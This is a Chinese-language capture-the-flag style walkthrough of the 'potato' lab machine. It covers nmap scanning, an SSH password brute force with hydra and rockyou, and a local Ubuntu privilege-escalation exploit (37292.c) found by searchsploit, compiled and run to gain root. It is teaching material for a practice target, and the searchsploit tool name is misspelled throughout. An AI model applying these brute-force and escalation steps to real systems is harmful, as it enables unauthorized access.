potato解析
环境设置
攻击机:kali(192.168.246.128)
靶机:potato(192.168.246.137)
使用工具&指令:
nmap (端口扫描)
hydra (服务端密码爆破)
sreachsploit (漏洞检索)
ssh (远程登录服务)
find (寻找文件)
scp (linux之间远程传输文件)
具体过程
国际惯例
arp-scan -l //发现同网段设备
nmap -A -p- “ip地址” //扫描指定ip开放的端口 并套用默认脚本
扫描发现该ip开放了80端口与7120端口 其中7120端口对应ssh服务
我们使用firefox访问该ip
没有发现什么特殊的东西 f12也没有隐藏注释
只能将我们的注意转到ssh服务中
但ssh需要账号与密码 而我们目前没有
按照该靶机名称与网页中的土豆图片 我们推测账户名为potato 进行一次密码爆破来测试
hydra -l “账号名” -P “密码字典文件” -V -t 4 服务://ip地址:端口
// 密码字典位于/usr/share/wordlists/rockyou.txt.gz 中 请自行解压
gzip -d /usr/share/wordlists/rockyou.txt.gz #-d 将压缩文件解压
// -V 显示具体过程
// -t 1-64 决定线程 数字越大爆破速度越快 但占用更大
结果出来了 账号 potato 的密码为 letmein
我们赶紧来登录一下吧
ssh 用户名@ip地址 -p 端口 //由于该端口不是默认的22 所以需要额外注释
进入后发现/root文件夹中有我们想要的文件 但当前权限不够
于是需要提权
我们使用sreachsploit 来搜索该版本ubuntu的提权漏洞
sreachsploit “搜索关键词”
有了 文件名是37292.c
不知道该文件在哪里 我们使用find命令寻找该文件
find [路径] [匹配条件]
参数说明:
路径 是要查找的目录路径,可以是一个目录或文件名,也可以是多个路径,多个路径之间用空格分隔,如果未指定路径,则默认为当前目录。
expression 是可选参数,用于指定查找的条件,可以是文件名、文件类型、文件大小等等。
匹配条件 中可使用的选项有二三十个之多,以下列出最常用的部份:
-name pattern:按文件名查找,支持使用通配符 * 和 ?。
-type type:按文件类型查找,可以是 f(普通文件)、d(目录)、l(符号链接)等。
-size [+-]size[cwbkMG]:按文件大小查找,支持使用 + 或 - 表示大于或小于指定大小,单位可以是 c(字节)、w(字数)、b(块数)、k(KB)、M(MB)或 G(GB)。
-mtime days:按修改时间查找,支持使用 + 或 - 表示在指定天数前或后,days 是一个整数表示天数。
-user username:按文件所有者查找。
-group groupname:按文件所属组查找。
随后使用scp命令将文件传输到靶机中
scp [可选参数] [文件源] [传输目标]
// -p 指定端口
// 传输目标格式为 用户名@ip:/目标文件夹
随后执行提权漏洞
gcc 37292.c -o exp //对刚刚下载的提权脚本进行编译
chmod +x exp //给提权脚本赋予执行权限
./exp //运行提权脚本,运行后即可提权至root
阅读/root下的/proof.txt
明显是一串md5加密后的产物 我们拿去解密网站解密 获得flag
总结
比较小体量的靶机 主要集中在一些标准的密码爆破 漏洞提权 过程中
那么我们下次见!